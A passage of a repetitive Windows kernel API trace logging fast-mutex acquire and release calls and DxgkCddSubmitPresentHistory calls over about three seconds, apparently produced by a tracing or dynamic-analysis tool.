(FastMutex=0xffffe0000126bf30) [0113.608] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.608] DxgkCddSubmitPresentHistory () returned 0x0 [0113.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.647] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.647] DxgkCddSubmitPresentHistory () returned 0x0 [0113.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.647] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.647] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.647] DxgkCddSubmitPresentHistory () returned 0x0 [0113.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.696] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.696] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.696] DxgkCddSubmitPresentHistory () returned 0x0 [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.726] DxgkCddSubmitPresentHistory () returned 0x0 [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.726] DxgkCddSubmitPresentHistory () returned 0x0 [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.726] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0113.726] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.726] DxgkCddSubmitPresentHistory () returned 0x0 [0113.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.738] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.738] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.738] DxgkCddSubmitPresentHistory () returned 0x0 [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.787] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.787] DxgkCddSubmitPresentHistory () returned 0x0 [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.787] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.787] DxgkCddSubmitPresentHistory () returned 0x0 [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.787] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.787] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.787] DxgkCddSubmitPresentHistory () returned 0x0 [0113.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.818] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.818] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.818] DxgkCddSubmitPresentHistory () returned 0x0 [0113.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.832] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.832] DxgkCddSubmitPresentHistory () returned 0x0 [0113.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.832] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0113.832] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.832] DxgkCddSubmitPresentHistory () returned 0x0 [0113.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.864] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.864] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.864] DxgkCddSubmitPresentHistory () returned 0x0 [0113.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.895] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.895] DxgkCddSubmitPresentHistory () returned 0x0 [0113.895] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.895] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000147d450) [0113.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000147d450) [0113.896] DxgkCddSubmitPresentHistory () returned 0x0 [0113.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.896] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.896] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.896] DxgkCddSubmitPresentHistory () returned 0x0 [0113.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.927] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.927] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.927] DxgkCddSubmitPresentHistory () returned 0x0 [0113.947] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.947] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0113.947] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0113.947] DxgkCddSubmitPresentHistory () returned 0x0 [0113.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0113.948] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0113.948] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0113.948] DxgkCddSubmitPresentHistory () returned 0x0 [0114.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.098] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.098] DxgkCddSubmitPresentHistory () returned 0x0 [0114.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.098] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000162c1b0) [0114.098] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000162c1b0) [0114.098] DxgkCddSubmitPresentHistory () returned 0x0 [0114.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.169] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.169] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.169] DxgkCddSubmitPresentHistory () returned 0x0 [0114.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.176] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.176] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.176] DxgkCddSubmitPresentHistory () returned 0x0 [0114.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.192] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.192] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.192] DxgkCddSubmitPresentHistory () returned 0x0 [0114.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.231] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.231] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.231] DxgkCddSubmitPresentHistory () returned 0x0 [0114.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.266] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.266] DxgkCddSubmitPresentHistory () returned 0x0 [0114.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.288] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.288] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.288] DxgkCddSubmitPresentHistory () returned 0x0 [0114.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.305] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.305] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.305] DxgkCddSubmitPresentHistory () returned 0x0 [0114.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.321] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.321] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.321] DxgkCddSubmitPresentHistory () returned 0x0 [0114.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.336] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.336] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.336] DxgkCddSubmitPresentHistory () returned 0x0 [0114.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.353] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.353] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.353] DxgkCddSubmitPresentHistory () returned 0x0 [0114.399] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.400] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.400] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.400] DxgkCddSubmitPresentHistory () returned 0x0 [0114.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.433] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.433] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.433] DxgkCddSubmitPresentHistory () returned 0x0 [0114.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.449] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.449] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.449] DxgkCddSubmitPresentHistory () returned 0x0 [0114.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.465] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.465] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.465] DxgkCddSubmitPresentHistory () returned 0x0 [0114.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.481] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.481] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.482] DxgkCddSubmitPresentHistory () returned 0x0 [0114.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.497] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.497] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.498] DxgkCddSubmitPresentHistory () returned 0x0 [0114.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.530] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.530] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.530] DxgkCddSubmitPresentHistory () returned 0x0 [0114.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.545] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.545] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.545] DxgkCddSubmitPresentHistory () returned 0x0 [0114.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0114.577] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0114.577] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0114.577] DxgkCddSubmitPresentHistory () returned 0x0 [0115.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.601] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.601] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.601] DxgkCddSubmitPresentHistory () returned 0x0 [0115.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.602] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.602] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.602] DxgkCddSubmitPresentHistory () returned 0x0 [0115.617] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.618] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.618] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.618] DxgkCddSubmitPresentHistory () returned 0x0 [0115.633] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.633] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.634] DxgkCddSubmitPresentHistory () returned 0x0 [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.634] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.634] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.634] DxgkCddSubmitPresentHistory () returned 0x0 [0115.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.676] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.676] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.676] DxgkCddSubmitPresentHistory () returned 0x0 [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.692] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.692] DxgkCddSubmitPresentHistory () returned 0x0 [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.692] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.692] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.692] DxgkCddSubmitPresentHistory () returned 0x0 [0115.707] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.707] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.708] DxgkCddSubmitPresentHistory () returned 0x0 [0115.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.708] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.708] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.708] DxgkCddSubmitPresentHistory () returned 0x0 [0115.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.725] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.725] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.725] DxgkCddSubmitPresentHistory () returned 0x0 [0115.740] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.740] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.741] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.741] DxgkCddSubmitPresentHistory () returned 0x0 [0115.756] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.756] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.757] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.757] DxgkCddSubmitPresentHistory () returned 0x0 [0115.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.779] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.779] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.779] DxgkCddSubmitPresentHistory () returned 0x0 [0115.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.851] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.851] DxgkCddSubmitPresentHistory () returned 0x0 [0115.860] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.860] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.860] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.860] DxgkCddSubmitPresentHistory () returned 0x0 [0115.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.943] DxgkCddSubmitPresentHistory () returned 0x0 [0115.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.943] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0115.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0115.944] DxgkCddSubmitPresentHistory () returned 0x0 [0115.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.944] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0115.944] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0115.944] DxgkCddSubmitPresentHistory () returned 0x0 [0115.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0115.989] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0115.989] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0115.989] DxgkCddSubmitPresentHistory () returned 0x0 [0116.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.018] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.018] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.018] DxgkCddSubmitPresentHistory () returned 0x0 [0116.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.032] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.032] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.032] DxgkCddSubmitPresentHistory () returned 0x0 [0116.047] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.047] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.047] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.048] DxgkCddSubmitPresentHistory () returned 0x0 [0116.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.063] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.063] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.063] DxgkCddSubmitPresentHistory () returned 0x0 [0116.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.101] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.101] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.101] DxgkCddSubmitPresentHistory () returned 0x0 [0116.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.131] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.131] DxgkCddSubmitPresentHistory () returned 0x0 [0116.131] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.132] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0116.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.132] DxgkCddSubmitPresentHistory () returned 0x0 [0116.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.132] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.132] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.132] DxgkCddSubmitPresentHistory () returned 0x0 [0116.162] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.163] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.163] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.163] DxgkCddSubmitPresentHistory () returned 0x0 [0116.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.193] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0116.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.193] DxgkCddSubmitPresentHistory () returned 0x0 [0116.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.193] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.193] DxgkCddSubmitPresentHistory () returned 0x0 [0116.193] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.193] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.194] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.194] DxgkCddSubmitPresentHistory () returned 0x0 [0116.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.204] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.204] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.204] DxgkCddSubmitPresentHistory () returned 0x0 [0116.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.236] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.236] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.236] DxgkCddSubmitPresentHistory () returned 0x0 [0116.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.266] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe00001463440) [0116.266] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001463440) [0116.266] DxgkCddSubmitPresentHistory () returned 0x0 [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.267] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe000012371a0) [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000012371a0) [0116.267] DxgkCddSubmitPresentHistory () returned 0x0 [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.267] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.267] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000126bf30) [0116.267] DxgkCddSubmitPresentHistory () returned 0x0 [0116.282] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0116.282] ExEnterCriticalRegionAndAcquireFastMutexUnsafe (FastMutex=0xffffe0000126bf30) [0116.282] 